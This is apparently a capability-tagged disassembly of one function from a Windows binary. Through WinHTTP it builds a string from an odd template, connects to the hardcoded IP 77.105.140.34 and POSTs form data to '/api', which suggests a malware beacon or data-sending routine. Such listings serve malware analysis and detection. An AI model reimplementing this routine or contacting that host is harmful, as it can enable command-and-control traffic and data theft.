Function at 0x40b7f0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41ef46
mov eax, dword fs:[0]
push eax
sub esp, 0x58
mov eax, dword [0x42800c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x38], 0
mov dword [ebp - 4], 2
xorps xmm0, xmm0
push 0
movups xmmword [eax], xmm0
push 0x4215d8
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
call fcn.00405070
mov ecx, dword [ebp + 0x30]
mov esi, closesocket
mov eax, esi
mov dword [ebp - 0x38], 1
sub eax, ecx
cmp eax, 0x25
jb 0x40bc52
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push ecx
cmovae eax, dword [ebp + 0x20]
push eax
push 0x25
push str.pssPoL_JHOt_ddd_155_____:::_e_
push ecx
push dword [ebp - 0x48]
lea ecx, [ebp - 0x64]
call fcn.0040a8c0
lea eax, [ebp - 0x64]
mov dword [ebp - 0x38], 3
push eax
lea ecx, [ebp + 0x20]
call fcn.00409bf0
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x40b8d6
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b8cc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bc24
push ecx
push edx
call fcn.0041d5d2
add esp, 8
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
mov ecx, dword [ebp + 0x18]
cmovae eax, dword [ebp + 0x20]
sub esi, ecx
mov dword [ebp - 0x3c], eax
cmp esi, 6
jb 0x40bc52
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
push eax
push 6
push str._vapi_
push ecx
push dword [ebp - 0x48]
lea ecx, [ebp - 0x64]
call fcn.0040a8c0
lea eax, [ebp - 0x64]
mov dword [ebp - 0x38], 7
push eax
lea ecx, [ebp + 8]
call fcn.00409bf0
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x40b959
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b94f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bc24
push ecx
push edx
call fcn.0041d5d2
add esp, 8
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
mov eax, dword [ebp + 0x18]
jb 0x40b96c
mov ecx, dword [ebp + 8]
add eax, ecx
jmp 0x40b971
add eax, ecx
lea ecx, [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.0040a260
mov byte [ebp - 4], 3
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov dword [ebp - 0x30], 0
cmovae eax, dword [ebp - 0x2c]
xor esi, esi
xor edi, edi
mov dword [ebp - 0x4c], eax
push edi
push edi
push edi
push edi
push str.A_WinHTTP_Example_Program_1.0
mov dword [ebp - 0x14], 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0x44], eax
test eax, eax
je 0x40bb09
push edi
push 0x50
push str.77.105.140.34
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x34], eax
test eax, eax
je 0x40bb10
push edi
push edi
push edi
push edi
push dword [ebp - 0x4c]
push str.POST
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
test edi, edi
je 0x40bb0d
mov esi, dword [ebp - 0x3c]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ba00
sub ecx, edx
mov edx, esi
lea eax, [edx + 1]
mov dword [ebp - 0x3c], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x40ba11
sub edx, dword [ebp - 0x3c]
push 0
push ecx
push edx
push esi
push 0xffffffffffffffff
push str.content_type:application_x_www_form_urlencoded
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov esi, eax
test esi, esi
je 0x40bb0d
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov esi, eax
test esi, esi
je 0x40bb0d
nop dword [eax + eax]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x40baea
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x40bb49
inc eax
push eax
call fcn.0041d5e0
mov esi, eax
mov eax, dword [ebp - 0x30]
inc eax
push eax
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x30]
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x40baaf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__u_in_WinHttpReadData._n
jmp 0x40babe
mov ecx, dword [ebp - 0x40]
push esi
call fcn.00404540
push esi
push 0x421908
call fcn.0040b7c0
add esp, 8
push esi
call fcn.0041d08a
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x40bb49
cmp dword [ebp - 0x30], 0
ja 0x40ba50
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push edi
call esi
jmp 0x40bb5a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__u_in_WinHttpQueryDataAvailable._n
call fcn.0040b7c0
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
add esp, 8
push edi
call esi
jmp 0x40bb5a
xor eax, eax
jmp 0x40bb10
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__d_has_occurred._n
call fcn.0040b7c0
add esp, 8
test esi, esi
jne 0x40bb45
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__d_has_occurred._n
call fcn.0040b7c0
mov eax, dword [ebp - 0x34]
add esp, 8
mov dword [ebp - 0x34], eax
test edi, edi
je 0x40bb54
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push edi
call esi
jmp 0x40bb5a
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x40bb64
push eax
call esi
mov eax, dword [ebp - 0x44]
test eax, eax
je 0x40bb6e
push eax
call esi
mov ecx, dword [ebp - 0x18]
cmp ecx, 8
jb 0x40bba8
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bb9e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bc24
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov ecx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
cmp ecx, 0x10
jb 0x40bbec
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bbe2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bc24
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov ecx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp ecx, 0x10
jb 0x40bc34
mov edx, dword [ebp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bc2a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40bc2a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041d07c
mov esp, ebp
pop ebp
ret
call fcn.004014d0
int3